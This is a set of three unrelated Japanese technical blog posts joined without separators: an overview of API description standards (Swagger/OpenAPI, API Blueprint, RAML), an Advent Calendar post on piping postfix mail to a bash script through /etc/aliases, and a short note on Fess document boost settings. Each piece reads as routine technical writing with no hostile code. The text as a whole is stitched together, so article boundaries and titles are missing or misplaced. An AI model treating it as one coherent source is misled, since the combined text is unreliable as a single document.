#API管理プロダクトとの関係

最近のAPI管理サービスや製品には、標準的なAPI記述言語で作成されたドキュメントの生成に加えて、これらのドキュメントから各言語毎のサンプルコードを出力したり、API記述言語のプレビュー機能がついたエディタが備わっており、API記述標準が前提となっています。また、これらのプロダクトは、APIモックサーバーを立て上げることで、API記述標準でエンドポイント、リクエスト時のパラメータ、レスポンスフィールドを定義することでAPIの実装がまだでも並行してクライアントサイドの実装を進めることができます。

#API記述標準の代表例

・[Swagger](http://swagger.io/) ※[Open API](https://www.openapis.org/) へ名称が変更
・[API BluePrint](https://apiblueprint.org/)
・[RAML](http://raml.org/)

## Swagger (Open API)

![image](https://qiita-image-store.s3.amazonaws.com/0/123181/0d98c9d9-30fd-6d30-25b9-09b87cae3806.png)

API技術標準のリーダー的な存在。記述フォーマットはYAML言語。ライセンスはApache 2.0。Swaggerは、RESTful APIの設計、構築、文書化、および使用に役立つ、大規模なエコシステムツールを使用した強力なオープンソースフレームワークです。Swaggerにはコアとなるツール群が備わっています。

主なツール一覧

| 種類 | ツール名称 | 説明 |
|:-:|:-:|:-:|
| Design | Swagger Editor | API記述標準言語をプレビュー画面で確認しながら生成 |
| Build | Swagger Codegen | API記述標準言語から主要言語のサーバスタブやクライアントSDKを作成 |
| Document | Swagger UI | API記述標準言語から生成されたHTMLベースのAPIリファレンス |

Swagger Editorで作成したAPIドキュメントの例
![image](https://qiita-image-store.s3.amazonaws.com/0/123181/adf62f9e-cf29-4ef0-9ea0-2778503c7df7.png)

2015年にLinux Foundationの協力のもとSwaggerをベースにしたAPI記述標準を推進する団体である「Open API Initiative」が結成されました。パートナーとしては Google、Microsoft、IBM、3Scale(redhat)、Apigee(Google)，SmartBearが名を連ねており、swaggerのサイトはSmartBear社が運営しています。
![image](https://qiita-image-store.s3.amazonaws.com/0/123181/75613cf8-e6e1-3d1b-a7fa-4620c9e836cb.png)


## API BluePrint

![image](https://qiita-image-store.s3.amazonaws.com/0/123181/086a35fb-898e-c3f3-1f11-3cd7542ed1d5.png)

マークダウン形式の記述標準言語で人間が読みやすいヒューマンフレンドリなフォーマットを強みとしています。ライセンスはMITライセンス。
![image](https://qiita-image-store.s3.amazonaws.com/0/123181/b2bf4419-1a00-35e3-9d73-4d0abc60e37d.png)
モックアップサーバーやドキュメントの作成は、Webページ内のTools selectionに一覧化された[Apiary](https://apiary.io/)などの数多くの周辺プロダクトから選ぶことができる。
![image](https://qiita-image-store.s3.amazonaws.com/0/123181/0a536eee-f41b-448e-cc81-ec55e902f68f.png)

## RAML

RAMLは「RESTful API Modeling Language」の略で、YAMLベースのAPI記述標準言語。ライセンスはApatch2.0。
![image](https://qiita-image-store.s3.amazonaws.com/0/123181/d4bfa9bb-afd2-4515-6216-dd37ddfb6277.png)
API管理のリーディングカンパニーである[MuleSoft](https://www.mulesoft.com/)がツール群をAPI Designerやモックアップサーバーなどの周辺プロダクトを提供して普及を推進しています。

#まとめ

上記でご紹介した３つはあくまで代表的なものであり、そのほかにも各Webサービス提供元やAPI管理プロダクトベンダが提供している記述標準は多く存在しており、JSON部分に特化した記述標準である[Json Schema](http://json-schema.org/)など様々です。参加企業を見るとSwagger(OpenAPI)が本命に思えますが、今後、どれがスタンダードになっていくのかウォッチしていく必要がありそうです。
postfixでスクリプトを動かしてあれこれ

# あらまし
[SLP_KBIT Advent Calendar 2016 - Qiita](http://qiita.com/advent-calendar/2016/slp_kbit) の11日目の記事のです。

すでに社畜と化したておくれは、後輩たちに先んじて
堂々と今年のアドベントカレンダーに紛れ込んだ。
連日更新されていくカレンダー。浮かばないネタ。減っていく睡眠時間。
一人晩酌で缶トリハイを飲みながらネタを考える投稿直前。

そして今ココに記事が誕生した。
※なんか新しいツール掘り当てて紹介してくれてるみたいなんで、あえて既存の枯れた技術を使ってこんなことできるよ、というのを紹介します。

# こっから本題

## 使うもの

* postfix
* bash
* 柔軟な発想力と少しのやる気とbashに対する愛しさと切なさと心強さ
* mikutterをwindows上で動かそうと頑張ってなんとか出来るくらいの試行錯誤できる根気強さ


## かんたんに解説

postfixは受けとったメールを振分けますが、その際に一手間加えると
メール受信をトリガーとしてスクリプトを実行できます。
具体的には、/etc/aliasesにちょいちょいっと追記します。

```sh
～～～～～～～～～～～～～～～～～
hostmaster:     root
info:           postmaster
marketing:      postmaster
sales:          postmaster
support:        postmaster


# trap decode to catch security attacks
decode:         root

# Person who should get root's mail
#root:          marc

--- ここまでデフォルト ---
<以下追記>
mail_get:   |"/usr/bin/bash /tmp/sample.sh"
```

/etc/aliasesはnewaliaseするとdbが更新されて、
新しい設定で動作します。

```
# newaliases
```

試しに以下のコマンドを投げます。

```sh
$ mail -s test mail_get@localhost
hogehoge
test mail
.
```

root@localhost宛に、件名が「test」、本文が↓のようなメールを送信します。
hogehoge
test mail
.

さてどうなったかを確認します。

```shell-session
[root@localhost tmp]# cat sample.sh
#!/usr/bin/bash
OUTFILE="/tmp/mail_get.log"

while read line; do
        echo $line >> ${OUTFILE}
done
[root@localhost tmp]# mail -s test mail_get@localhost
hogehoge
test mail
.
EOT
[root@localhost tmp]# ls *.log
mail_get.log                                                                  [root@localhost tmp]# cat mail_get.log
From root@localhost.localdomain Sat Dec 10 22:37:01 2016
Return-Path: <root@localhost.localdomain>
X-Original-To: mail_get@localhost
Delivered-To: mail_get@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
id 7EC1586933B0; Sat, 10 Dec 2016 22:37:01 +0900 (JST)
Date: Sat, 10 Dec 2016 22:37:01 +0900
To: mail_get@localhost.localdomain
Subject: test
User-Agent: Heirloom mailx 12.5 7/5/10
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20161210133701.7EC1586933B0@localhost.localdomain>
From: root@localhost.localdomain (root)

hogehoge
test mail
```

はい。ヘッダとか全部受け取れてますね。
aliasesに設定されたスクリプトファイルは標準入力として
メールの内容を受け取ることが出来ます。
なので、
* 件名で処理を振分ける
* 本文に実行する処理を書いておく
などは普通に考えられますね。(後者は実行する際の権限がややこしくなるのであまりやりたくないですが)

### 余談

あくまでお遊びなので/tmp配下でやってるためスクリプト実行できてますが、
実際に動かす際には、権限が適切に設定されていないと動きません。
例えば、nagiosの権限になっているファイルに対して処理をしたい場合であれば、
実行する際のオーナーをnagiosにするかrootである必要があります。
postfixの設定にdefault_privsという項目があり、デフォルトではnobodyになっているため、
受信したメールにより実行されるスクリプトは基本的にはnobodyで実行されちゃいます。
なので、以下のようにします。

```sh
[root@localhost] # vim /etc/postfix/main.cf
# default_privs = nobody
default_privs = nagios

[root@localhost] # systemctl reload postfix
```

ちなみにここにrootやpostfixは設定不可です。

# まとめ

* 新しいツール発掘して見聞きするのは大切だしとても良いこと
* 同じくらい既存のものにも目を向けて、車輪の再発明を最低限ですませたいよね
* 枯れた技術は応用次第で大体やりたいことができる
* bash(シェルスクリプト)はつよい
Fess ドキュメントブーストの設定

Fess 10.3
ドキュメントブーストを設定します。

## ドキュメントブーストの設定

ドキュメントブーストは設定後にクロールが必要です。

| 項目       |       設定値 |
|:-----------------|:------------------|
| 状態             |  [フィールド名](http://fess.codelibs.org/ja/10.3/user/search-field.html).matches("boost_string")          |
| ブースト値           |   100         |
| ソート順            |    0 |

※ソート順は数字の昇順にソートされます。


## 状態の設定

| フィールド名       |       値 |
|:-----------------|:------------------|
| url             |  url.matches("`http://document_boost.com/.*`")          |
| title           |  title.matches("資料")         |
| content            |    content.matches("マニュアル") |

groovyを利用できます。
matchesでフィールドに完全一致するものが設定されます。